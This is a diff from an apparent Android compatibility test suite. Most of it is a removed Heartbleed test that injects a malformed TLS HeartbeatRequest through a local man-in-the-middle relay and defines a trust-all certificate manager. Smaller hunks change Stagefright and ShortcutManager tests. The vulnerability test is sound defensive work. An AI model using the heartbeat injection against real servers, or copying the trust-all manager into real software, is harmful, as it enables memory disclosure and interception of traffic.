- setClientSocket(socket);
- try {
- Log.i(TAG, "Client connecting to " + serverAddress);
- socket.connect(serverAddress);
- Log.i(TAG, "Client connected to server from " + socket.getLocalSocketAddress());
- // Ensure a TLS handshake is performed and an exception is thrown if it fails.
- socket.getOutputStream().write("client".getBytes());
- socket.getOutputStream().flush();
- Log.i(TAG, "Client sent request. Reading response");
- int b = socket.getInputStream().read();
- Log.i(TAG, "Client read response: " + b);
- } catch (Exception e) {
- Log.w(TAG, "Client failed", e);
- throw e;
- } finally {
- socket.close();
- }
- }
-
- public SSLServerSocket serverBind() throws Exception {
- // Load the server's private key and cert chain
- KeyFactory keyFactory = KeyFactory.getInstance("RSA");
- PrivateKey privateKey = keyFactory.generatePrivate(new PKCS8EncodedKeySpec(
- readResource(
- getInstrumentation().getContext(), R.raw.openssl_heartbleed_test_key)));
- CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
- X509Certificate[] certChain = new X509Certificate[] {
- (X509Certificate) certFactory.generateCertificate(
- new ByteArrayInputStream(readResource(
- getInstrumentation().getContext(),
- R.raw.openssl_heartbleed_test_cert)))
- };
-
- // Initialize TLS context to use the private key and cert chain for server sockets
- SSLContext sslContext = SSLContext.getInstance("TLS");
- sslContext.init(
- new KeyManager[] {new HardcodedCertX509KeyManager(privateKey, certChain)},
- null,
- null);
-
- Log.i(TAG, "Server binding to local port");
- return (SSLServerSocket) sslContext.getServerSocketFactory().createServerSocket(0);
- }
-
- private void serverAcceptAndHandshake() throws Exception {
- SSLSocket socket = null;
- SSLServerSocket serverSocket = getServerListeningSocket();
- try {
- Log.i(TAG, "Server listening for incoming connection");
- socket = (SSLSocket) serverSocket.accept();
- setServerSocket(socket);
- Log.i(TAG, "Server accepted connection from " + socket.getRemoteSocketAddress());
- // Ensure a TLS handshake is performed and an exception is thrown if it fails.
- socket.getOutputStream().write("server".getBytes());
- socket.getOutputStream().flush();
- Log.i(TAG, "Server sent reply. Reading response");
- int b = socket.getInputStream().read();
- Log.i(TAG, "Server read response: " + b);
- } catch (Exception e) {
- Log.w(TAG, "Server failed", e);
- throw e;
- } finally {
- if (socket != null) {
- socket.close();
- }
- }
- }
-
- private ServerSocket mitmBind() throws Exception {
- Log.i(TAG, "MiTM binding to local port");
- return ServerSocketFactory.getDefault().createServerSocket(0);
- }
-
- /**
- * Accepts the connection on the MiTM listening socket, forwards the TLS records between the
- * client and the server, and, if requested, injects a {@code HeartbeatRequest}.
- *
- * @param injectHeartbeat whether to inject a {@code HeartbeatRequest} message.
- * @param injectIntoClient when {@code injectHeartbeat} is {@code true}, whether to inject the
- * {@code HeartbeatRequest} message into client or into server.
- */
- private void mitmAcceptAndForward(
- SocketAddress serverAddress,
- final boolean injectHeartbeat,
- final boolean injectIntoClient) throws Exception {
- Socket clientSocket = null;
- Socket serverSocket = null;
- ServerSocket listeningSocket = getMitmListeningSocket();
- try {
- Log.i(TAG, "MiTM waiting for incoming connection");
- clientSocket = listeningSocket.accept();
- setMitmClientSocket(clientSocket);
- Log.i(TAG, "MiTM accepted connection from " + clientSocket.getRemoteSocketAddress());
- serverSocket = SocketFactory.getDefault().createSocket();
- setMitmServerSocket(serverSocket);
- Log.i(TAG, "MiTM connecting to server " + serverAddress);
- serverSocket.connect(serverAddress, 10000);
- Log.i(TAG, "MiTM connected to server from " + serverSocket.getLocalSocketAddress());
- final InputStream serverInputStream = serverSocket.getInputStream();
- final OutputStream clientOutputStream = clientSocket.getOutputStream();
- Future<Void> serverToClientTask = mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- // Inject HeatbeatRequest after ServerHello, if requested
- forwardTlsRecords(
- "MiTM S->C",
- serverInputStream,
- clientOutputStream,
- (injectHeartbeat && injectIntoClient)
- ? HandshakeMessage.TYPE_SERVER_HELLO : -1);
- return null;
- }
- });
- // Inject HeatbeatRequest after ClientKeyExchange, if requested
- forwardTlsRecords(
- "MiTM C->S",
- clientSocket.getInputStream(),
- serverSocket.getOutputStream(),
- (injectHeartbeat && !injectIntoClient)
- ? HandshakeMessage.TYPE_CLIENT_KEY_EXCHANGE : -1);
- serverToClientTask.get(10, TimeUnit.SECONDS);
- } catch (Exception e) {
- Log.w(TAG, "MiTM failed", e);
- throw e;
- } finally {
- closeQuietly(clientSocket);
- closeQuietly(serverSocket);
- }
- }
-
- /**
- * Forwards TLS records from the provided {@code InputStream} to the provided
- * {@code OutputStream}. If requested, injects a {@code HeartbeatMessage}.
- */
- private void forwardTlsRecords(
- String logPrefix,
- InputStream in,
- OutputStream out,
- int handshakeMessageTypeAfterWhichToInjectHeartbeatRequest) throws Exception {
- Log.i(TAG, logPrefix + ": record forwarding started");
- boolean interestingRecordsLogged =
- handshakeMessageTypeAfterWhichToInjectHeartbeatRequest == -1;
- try {
- TlsRecordReader reader = new TlsRecordReader(in);
- byte[] recordBytes;
- // Fragments contained in records may be encrypted after a certain point in the
- // handshake. Once they are encrypted, this MiTM cannot inspect their plaintext which.
- boolean fragmentEncryptionMayBeEnabled = false;
- while ((recordBytes = reader.readRecord()) != null) {
- TlsRecord record = TlsRecord.parse(recordBytes);
- forwardTlsRecord(logPrefix,
- recordBytes,
- record,
- fragmentEncryptionMayBeEnabled,
- out,
- interestingRecordsLogged,
- handshakeMessageTypeAfterWhichToInjectHeartbeatRequest);
- if (record.protocol == TlsProtocols.CHANGE_CIPHER_SPEC) {
- fragmentEncryptionMayBeEnabled = true;
- }
- }
- } catch (Exception e) {
- Log.w(TAG, logPrefix + ": failed", e);
- throw e;
- } finally {
- Log.d(TAG, logPrefix + ": record forwarding finished");
- }
- }
-
- private void forwardTlsRecord(
- String logPrefix,
- byte[] recordBytes,
- TlsRecord record,
- boolean fragmentEncryptionMayBeEnabled,
- OutputStream out,
- boolean interestingRecordsLogged,
- int handshakeMessageTypeAfterWhichToInjectHeartbeatRequest) throws IOException {
- // Save information about the records if its of interest to this test
- if (interestingRecordsLogged) {
- switch (record.protocol) {
- case TlsProtocols.ALERT:
- if (!fragmentEncryptionMayBeEnabled) {
- AlertMessage alert = AlertMessage.tryParse(record);
- if ((alert != null) && (alert.level == AlertMessage.LEVEL_FATAL)) {
- setFatalAlertDetected(alert.description);
- }
- }
- break;
- case TlsProtocols.HEARTBEAT:
- // When TLS records are encrypted, we cannot determine whether a
- // heartbeat is a HeartbeatResponse. In our setup, the client and the
- // server are not expected to sent HeartbeatRequests. Thus, we err on
- // the side of caution and assume that any heartbeat message sent by
- // client or server is a HeartbeatResponse.
- Log.e(TAG, logPrefix
- + ": heartbeat response detected -- vulnerable to Heartbleed");
- setHeartbeatResponseWasDetected();
- break;
- }
- }
-
- Log.i(TAG, logPrefix + ": Forwarding TLS record. "
- + getRecordInfo(record, fragmentEncryptionMayBeEnabled));
- out.write(recordBytes);
- out.flush();
-
- // Inject HeartbeatRequest, if necessary, after the specified handshake message type
- if (handshakeMessageTypeAfterWhichToInjectHeartbeatRequest != -1) {
- if ((!fragmentEncryptionMayBeEnabled) && (isHandshakeMessageType(
- record, handshakeMessageTypeAfterWhichToInjectHeartbeatRequest))) {
- // The Heartbeat Request message below is malformed because its declared
- // length of payload one byte larger than the actual payload. The peer is
- // supposed to reject such messages.
- byte[] payload = "arbitrary".getBytes("US-ASCII");
- byte[] heartbeatRequestRecordBytes = createHeartbeatRequestRecord(
- record.versionMajor,
- record.versionMinor,
- payload.length + 1,
- payload);
- Log.i(TAG, logPrefix + ": Injecting malformed HeartbeatRequest: "
- + getRecordInfo(
- TlsRecord.parse(heartbeatRequestRecordBytes), false));
- setHeartbeatRequestWasInjected();
- out.write(heartbeatRequestRecordBytes);
- out.flush();
- }
- }
- }
-
- private static String getRecordInfo(TlsRecord record, boolean mayBeEncrypted) {
- StringBuilder result = new StringBuilder();
- result.append(getProtocolName(record.protocol))
- .append(", ")
- .append(getFragmentInfo(record, mayBeEncrypted));
- return result.toString();
- }
-
- private static String getProtocolName(int protocol) {
- switch (protocol) {
- case TlsProtocols.ALERT:
- return "alert";
- case TlsProtocols.APPLICATION_DATA:
- return "application data";
- case TlsProtocols.CHANGE_CIPHER_SPEC:
- return "change cipher spec";
- case TlsProtocols.HANDSHAKE:
- return "handshake";
- case TlsProtocols.HEARTBEAT:
- return "heatbeat";
- default:
- return String.valueOf(protocol);
- }
- }
-
- private static String getFragmentInfo(TlsRecord record, boolean mayBeEncrypted) {
- StringBuilder result = new StringBuilder();
- if (mayBeEncrypted) {
- result.append("encrypted?");
- } else {
- switch (record.protocol) {
- case TlsProtocols.ALERT:
- result.append("level: " + ((record.fragment.length > 0)
- ? String.valueOf(record.fragment[0] & 0xff) : "n/a")
- + ", description: "
- + ((record.fragment.length > 1)
- ? String.valueOf(record.fragment[1] & 0xff) : "n/a"));
- break;
- case TlsProtocols.APPLICATION_DATA:
- break;
- case TlsProtocols.CHANGE_CIPHER_SPEC:
- result.append("payload: " + ((record.fragment.length > 0)
- ? String.valueOf(record.fragment[0] & 0xff) : "n/a"));
- break;
- case TlsProtocols.HANDSHAKE:
- result.append("type: " + ((record.fragment.length > 0)
- ? String.valueOf(record.fragment[0] & 0xff) : "n/a"));
- break;
- case TlsProtocols.HEARTBEAT:
- result.append("type: " + ((record.fragment.length > 0)
- ? String.valueOf(record.fragment[0] & 0xff) : "n/a")
- + ", payload length: "
- + ((record.fragment.length >= 3)
- ? String.valueOf(
- getUnsignedShortBigEndian(record.fragment, 1))
- : "n/a"));
- break;
- }
- }
- result.append(", ").append("fragment length: " + record.fragment.length);
- return result.toString();
- }
-
- private synchronized void setServerListeningSocket(SSLServerSocket socket) {
- mServerListeningSocket = socket;
- }
-
- private synchronized SSLServerSocket getServerListeningSocket() {
- return mServerListeningSocket;
- }
-
- private synchronized void setServerSocket(SSLSocket socket) {
- mServerSocket = socket;
- }
-
- private synchronized SSLSocket getServerSocket() {
- return mServerSocket;
- }
-
- private synchronized void setClientSocket(SSLSocket socket) {
- mClientSocket = socket;
- }
-
- private synchronized SSLSocket getClientSocket() {
- return mClientSocket;
- }
-
- private synchronized void setMitmListeningSocket(ServerSocket socket) {
- mMitmListeningSocket = socket;
- }
-
- private synchronized ServerSocket getMitmListeningSocket() {
- return mMitmListeningSocket;
- }
-
- private synchronized void setMitmServerSocket(Socket socket) {
- mMitmServerSocket = socket;
- }
-
- private synchronized Socket getMitmServerSocket() {
- return mMitmServerSocket;
- }
-
- private synchronized void setMitmClientSocket(Socket socket) {
- mMitmClientSocket = socket;
- }
-
- private synchronized Socket getMitmClientSocket() {
- return mMitmClientSocket;
- }
-
- private synchronized void setHeartbeatRequestWasInjected() {
- mHeartbeatRequestWasInjected = true;
- }
-
- private synchronized boolean wasHeartbeatRequestInjected() {
- return mHeartbeatRequestWasInjected;
- }
-
- private synchronized void setHeartbeatResponseWasDetected() {
- mHeartbeatResponseWasDetetected = true;
- }
-
- private synchronized boolean wasHeartbeatResponseDetected() {
- return mHeartbeatResponseWasDetetected;
- }
-
- private synchronized void setFatalAlertDetected(int description) {
- if (mFirstDetectedFatalAlertDescription == -1) {
- mFirstDetectedFatalAlertDescription = description;
- }
- }
-
- private synchronized int getFirstDetectedFatalAlertDescription() {
- return mFirstDetectedFatalAlertDescription;
- }
-
- public static abstract class TlsProtocols {
- public static final int CHANGE_CIPHER_SPEC = 20;
- public static final int ALERT = 21;
- public static final int HANDSHAKE = 22;
- public static final int APPLICATION_DATA = 23;
- public static final int HEARTBEAT = 24;
- private TlsProtocols() {}
- }
-
- public static class TlsRecord {
- public int protocol;
- public int versionMajor;
- public int versionMinor;
- public byte[] fragment;
-
- public static TlsRecord parse(byte[] record) throws IOException {
- TlsRecord result = new TlsRecord();
- if (record.length < TlsRecordReader.RECORD_HEADER_LENGTH) {
- throw new IOException("Record too short: " + record.length);
- }
- result.protocol = record[0] & 0xff;
- result.versionMajor = record[1] & 0xff;
- result.versionMinor = record[2] & 0xff;
- int fragmentLength = getUnsignedShortBigEndian(record, 3);
- int actualFragmentLength = record.length - TlsRecordReader.RECORD_HEADER_LENGTH;
- if (fragmentLength != actualFragmentLength) {
- throw new IOException("Fragment length mismatch. Expected: " + fragmentLength
- + ", actual: " + actualFragmentLength);
- }
- result.fragment = new byte[fragmentLength];
- System.arraycopy(
- record, TlsRecordReader.RECORD_HEADER_LENGTH,
- result.fragment, 0,
- fragmentLength);
- return result;
- }
-
- public static byte[] unparse(TlsRecord record) {
- byte[] result = new byte[TlsRecordReader.RECORD_HEADER_LENGTH + record.fragment.length];
- result[0] = (byte) record.protocol;
- result[1] = (byte) record.versionMajor;
- result[2] = (byte) record.versionMinor;
- putUnsignedShortBigEndian(result, 3, record.fragment.length);
- System.arraycopy(
- record.fragment, 0,
- result, TlsRecordReader.RECORD_HEADER_LENGTH,
- record.fragment.length);
- return result;
- }
- }
-
- public static final boolean isHandshakeMessageType(TlsRecord record, int type) {
- HandshakeMessage handshake = HandshakeMessage.tryParse(record);
- if (handshake == null) {
- return false;
- }
- return handshake.type == type;
- }
-
- public static class HandshakeMessage {
- public static final int TYPE_SERVER_HELLO = 2;
- public static final int TYPE_CERTIFICATE = 11;
- public static final int TYPE_CLIENT_KEY_EXCHANGE = 16;
-
- public int type;
-
- /**
- * Parses the provided TLS record as a handshake message.
- *
- * @return alert message or {@code null} if the record does not contain a handshake message.
- */
- public static HandshakeMessage tryParse(TlsRecord record) {
- if (record.protocol != TlsProtocols.HANDSHAKE) {
- return null;
- }
- if (record.fragment.length < 1) {
- return null;
- }
- HandshakeMessage result = new HandshakeMessage();
- result.type = record.fragment[0] & 0xff;
- return result;
- }
- }
-
- public static class AlertMessage {
- public static final int LEVEL_FATAL = 2;
- public static final int DESCRIPTION_UNEXPECTED_MESSAGE = 10;
-
- public int level;
- public int description;
-
- /**
- * Parses the provided TLS record as an alert message.
- *
- * @return alert message or {@code null} if the record does not contain an alert message.
- */
- public static AlertMessage tryParse(TlsRecord record) {
- if (record.protocol != TlsProtocols.ALERT) {
- return null;
- }
- if (record.fragment.length < 2) {
- return null;
- }
- AlertMessage result = new AlertMessage();
- result.level = record.fragment[0] & 0xff;
- result.description = record.fragment[1] & 0xff;
- return result;
- }
- }
-
- private static abstract class HeartbeatProtocol {
- private HeartbeatProtocol() {}
-
- private static final int MESSAGE_TYPE_REQUEST = 1;
- @SuppressWarnings("unused")
- private static final int MESSAGE_TYPE_RESPONSE = 2;
-
- private static final int MESSAGE_HEADER_LENGTH = 3;
- private static final int MESSAGE_PADDING_LENGTH = 16;
- }
-
- private static byte[] createHeartbeatRequestRecord(
- int versionMajor, int versionMinor,
- int declaredPayloadLength, byte[] payload) {
-
- byte[] fragment = new byte[HeartbeatProtocol.MESSAGE_HEADER_LENGTH
- + payload.length + HeartbeatProtocol.MESSAGE_PADDING_LENGTH];
- fragment[0] = HeartbeatProtocol.MESSAGE_TYPE_REQUEST;
- putUnsignedShortBigEndian(fragment, 1, declaredPayloadLength); // payload_length
- TlsRecord record = new TlsRecord();
- record.protocol = TlsProtocols.HEARTBEAT;
- record.versionMajor = versionMajor;
- record.versionMinor = versionMinor;
- record.fragment = fragment;
- return TlsRecord.unparse(record);
- }
-
- /**
- * Reader of TLS records.
- */
- public static class TlsRecordReader {
- private static final int MAX_RECORD_LENGTH = 16384;
- public static final int RECORD_HEADER_LENGTH = 5;
-
- private final InputStream in;
- private final byte[] buffer;
- private int firstBufferedByteOffset;
- private int bufferedByteCount;
-
- public TlsRecordReader(InputStream in) {
- this.in = in;
- buffer = new byte[MAX_RECORD_LENGTH];
- }
-
- /**
- * Reads the next TLS record.
- *
- * @return TLS record or {@code null} if EOF was encountered before any bytes of a record
- * could be read.
- */
- public byte[] readRecord() throws IOException {
- // Ensure that a TLS record header (or more) is in the buffer.
- if (bufferedByteCount < RECORD_HEADER_LENGTH) {
- boolean eofPermittedInstead = (bufferedByteCount == 0);
- boolean eofEncounteredInstead =
- !readAtLeast(RECORD_HEADER_LENGTH, eofPermittedInstead);
- if (eofEncounteredInstead) {
- // End of stream reached exactly before a TLS record start.
- return null;
- }
- }
-
- // TLS record header (or more) is in the buffer.
- // Ensure that the rest of the record is in the buffer.
- int fragmentLength = getUnsignedShortBigEndian(buffer, firstBufferedByteOffset + 3);
- int recordLength = RECORD_HEADER_LENGTH + fragmentLength;
- if (recordLength > MAX_RECORD_LENGTH) {
- throw new IOException("TLS record too long: " + recordLength);
- }
- if (bufferedByteCount < recordLength) {
- readAtLeast(recordLength - bufferedByteCount, false);
- }
-
- // TLS record (or more) is in the buffer.
- byte[] record = new byte[recordLength];
- System.arraycopy(buffer, firstBufferedByteOffset, record, 0, recordLength);
- firstBufferedByteOffset += recordLength;
- bufferedByteCount -= recordLength;
- return record;
- }
-
- /**
- * Reads at least the specified number of bytes from the underlying {@code InputStream} into
- * the {@code buffer}.
- *
- * <p>Bytes buffered but not yet returned to the client in the {@code buffer} are relocated
- * to the start of the buffer to make space if necessary.
- *
- * @param eofPermittedInstead {@code true} if it's permitted for an EOF to be encountered
- * without any bytes having been read.
- *
- * @return {@code true} if the requested number of bytes (or more) has been read,
- * {@code false} if {@code eofPermittedInstead} was {@code true} and EOF was
- * encountered when no bytes have yet been read.
- */
- private boolean readAtLeast(int size, boolean eofPermittedInstead) throws IOException {
- ensureRemainingBufferCapacityAtLeast(size);
- boolean firstAttempt = true;
- while (size > 0) {
- int chunkSize = in.read(
- buffer,
- firstBufferedByteOffset + bufferedByteCount,
- buffer.length - (firstBufferedByteOffset + bufferedByteCount));
- if (chunkSize == -1) {
- if ((firstAttempt) && (eofPermittedInstead)) {
- return false;
- } else {
- throw new EOFException("Premature EOF");
- }
- }
- firstAttempt = false;
- bufferedByteCount += chunkSize;
- size -= chunkSize;
- }
- return true;
- }
-
- /**
- * Ensures that there is enough capacity in the buffer to store the specified number of
- * bytes at the {@code firstBufferedByteOffset + bufferedByteCount} offset.
- */
- private void ensureRemainingBufferCapacityAtLeast(int size) throws IOException {
- int bufferCapacityRemaining =
- buffer.length - (firstBufferedByteOffset + bufferedByteCount);
- if (bufferCapacityRemaining >= size) {
- return;
- }
- // Insufficient capacity at the end of the buffer.
- if (firstBufferedByteOffset > 0) {
- // Some of the bytes at the start of the buffer have already been returned to the
- // client of this reader. Check if moving the remaining buffered bytes to the start
- // of the buffer will make enough space at the end of the buffer.
- bufferCapacityRemaining += firstBufferedByteOffset;
- if (bufferCapacityRemaining >= size) {
- System.arraycopy(buffer, firstBufferedByteOffset, buffer, 0, bufferedByteCount);
- firstBufferedByteOffset = 0;
- return;
- }
- }
-
- throw new IOException("Insuffucient remaining capacity in the buffer. Requested: "
- + size + ", remaining: " + bufferCapacityRemaining);
- }
- }
-
- private static int getUnsignedShortBigEndian(byte[] buf, int offset) {
- return ((buf[offset] & 0xff) << 8) | (buf[offset + 1] & 0xff);
- }
-
- private static void putUnsignedShortBigEndian(byte[] buf, int offset, int value) {
- buf[offset] = (byte) ((value >>> 8) & 0xff);
- buf[offset + 1] = (byte) (value & 0xff);
- }
-
- // IMPLEMENTATION NOTE: We can't implement just one closeQueietly(Closeable) because on some
- // older Android platforms Socket did not implement these interfaces. To make this patch easy to
- // apply to these older platforms, we declare all the variants of closeQuietly that are needed
- // without relying on the Closeable interface.
-
- private static void closeQuietly(InputStream in) {
- if (in != null) {
- try {
- in.close();
- } catch (IOException ignored) {}
- }
- }
-
- public static void closeQuietly(ServerSocket socket) {
- if (socket != null) {
- try {
- socket.close();
- } catch (IOException ignored) {}
- }
- }
-
- public static void closeQuietly(Socket socket) {
- if (socket != null) {
- try {
- socket.close();
- } catch (IOException ignored) {}
- }
- }
-
- public static byte[] readResource(Context context, int resId) throws IOException {
- ByteArrayOutputStream result = new ByteArrayOutputStream();
- InputStream in = null;
- byte[] buf = new byte[16 * 1024];
- try {
- in = context.getResources().openRawResource(resId);
- int chunkSize;
- while ((chunkSize = in.read(buf)) != -1) {
- result.write(buf, 0, chunkSize);
- }
- return result.toByteArray();
- } finally {
- closeQuietly(in);
- }
- }
-
- /**
- * {@link X509TrustManager} which trusts all certificate chains.
- */
- public static class TrustAllX509TrustManager implements X509TrustManager {
- @Override
- public void checkClientTrusted(X509Certificate[] chain, String authType)
- throws CertificateException {
- }
-
- @Override
- public void checkServerTrusted(X509Certificate[] chain, String authType)
- throws CertificateException {
- }
-
- @Override
- public X509Certificate[] getAcceptedIssuers() {
- return new X509Certificate[0];
- }
- }
-
- /**
- * {@link X509KeyManager} which uses the provided private key and cert chain for all sockets.
- */
- public static class HardcodedCertX509KeyManager implements X509KeyManager {
-
- private final PrivateKey mPrivateKey;
- private final X509Certificate[] mCertChain;
-
- HardcodedCertX509KeyManager(PrivateKey privateKey, X509Certificate[] certChain) {
- mPrivateKey = privateKey;
- mCertChain = certChain;
- }
-
- @Override
- public String chooseClientAlias(String[] keyType, Principal[] issuers, Socket socket) {
- return null;
- }
-
- @Override
- public String chooseServerAlias(String keyType, Principal[] issuers, Socket socket) {
- return "singleton";
- }
-
- @Override
- public X509Certificate[] getCertificateChain(String alias) {
- return mCertChain;
- }
-
- @Override
- public String[] getClientAliases(String keyType, Principal[] issuers) {
- return null;
- }
-
- @Override
- public PrivateKey getPrivateKey(String alias) {
- return mPrivateKey;
- }
-
- @Override
- public String[] getServerAliases(String keyType, Principal[] issuers) {
- return new String[] {"singleton"};
- }
- }
-}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index ee36ca8..bb7e455 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -45,8 +45,11 @@
import android.view.Surface;
import android.webkit.cts.CtsTestServer;
+import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import java.util.HashMap;
@@ -437,12 +440,38 @@
CtsTestServer server = new CtsTestServer(context);
String rname = resources.getResourceEntryName(rid);
String url = server.getAssetUrl("raw/" + rname);
+ verifyServer(rid, url);
doStagefrightTestMediaPlayer(url);
doStagefrightTestMediaCodec(url);
doStagefrightTestMediaMetadataRetriever(url);
server.shutdown();
}
+ // verify that CtsTestServer is functional by retrieving the asset
+ // and comparing it to the resource
+ private void verifyServer(final int rid, final String uri) throws Exception {
+ Log.i(TAG, "checking server");
+ URL url = new URL(uri);
+ InputStream in1 = new BufferedInputStream(url.openStream());
+
+ AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+ .openRawResourceFd(rid);
+ InputStream in2 = new BufferedInputStream(fd.createInputStream());
+
+ while (true) {
+ int b1 = in1.read();
+ int b2 = in2.read();
+ assertEquals("CtsTestServer fail", b1, b2);
+ if (b1 < 0) {
+ break;
+ }
+ }
+
+ in1.close();
+ in2.close();
+ Log.i(TAG, "checked server");
+ }
+
private void doStagefrightTestANR(final int rid) throws Exception {
doStagefrightTestMediaPlayerANR(rid, null);
}
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
index bab2674..56969bb 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
@@ -234,14 +234,14 @@
}
public void testSetDynamicShortcuts() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1", "title1"),
makeShortcut("s2", "title2"),
makeShortcut("s3", "title3"))));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -262,12 +262,12 @@
});
// Publish from different package.
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1x", "title1x"))));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -282,7 +282,7 @@
});
// Package 1 still has the same shortcuts.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -302,12 +302,12 @@
.isEmpty();
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s2", "title2-updated"))));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -321,11 +321,11 @@
.isEmpty();
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list()));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.isEmpty();
assertWith(getManager().getPinnedShortcuts())
@@ -335,7 +335,7 @@
});
// Package2 still has the same shortcuts.
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -361,7 +361,7 @@
getTestContext().getResources(), R.drawable.black_16x64));
final Icon icon6 = Icon.createWithAdaptiveBitmap(BitmapFactory.decodeResource(
getTestContext().getResources(), R.drawable.black_32x32));
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo source = makeShortcutBuilder("s1")
.setShortLabel("shortlabel")
.setLongLabel("longlabel")
@@ -392,7 +392,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -418,7 +418,7 @@
getIconAsLauncher(mLauncherContext1, mPackageContext1.getPackageName(), "s1"));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo source = makeShortcutBuilder("s1")
.setShortLabel("shortlabel")
.setLongLabel("longlabel")
@@ -450,7 +450,7 @@
});
// paranoid icon check
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -469,7 +469,7 @@
icon2);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -489,7 +489,7 @@
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -507,7 +507,7 @@
assertIconDimensions(mLauncherContext1, mPackageContext1.getPackageName(), "s1",
icon4);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -525,7 +525,7 @@
assertIconDimensions(mLauncherContext1, mPackageContext1.getPackageName(), "s1",
icon5);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -547,18 +547,18 @@
public void testSetDynamicShortcuts_wasPinned() throws Exception {
// Create s1 as a floating pinned shortcut.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1"))));
});
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("s1"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeDynamicShortcuts(list("s1"));
assertWith(getManager().getDynamicShortcuts())
@@ -572,14 +572,14 @@
}
public void testAddDynamicShortcuts() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcut("s1", "title1"),
makeShortcut("s2", "title2"),
makeShortcut("s3", "title3"))));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -600,12 +600,12 @@
});
// Publish from different package.
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcut("s1x", "title1x"))));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -620,7 +620,7 @@
});
// Package 1 still has the same shortcuts.
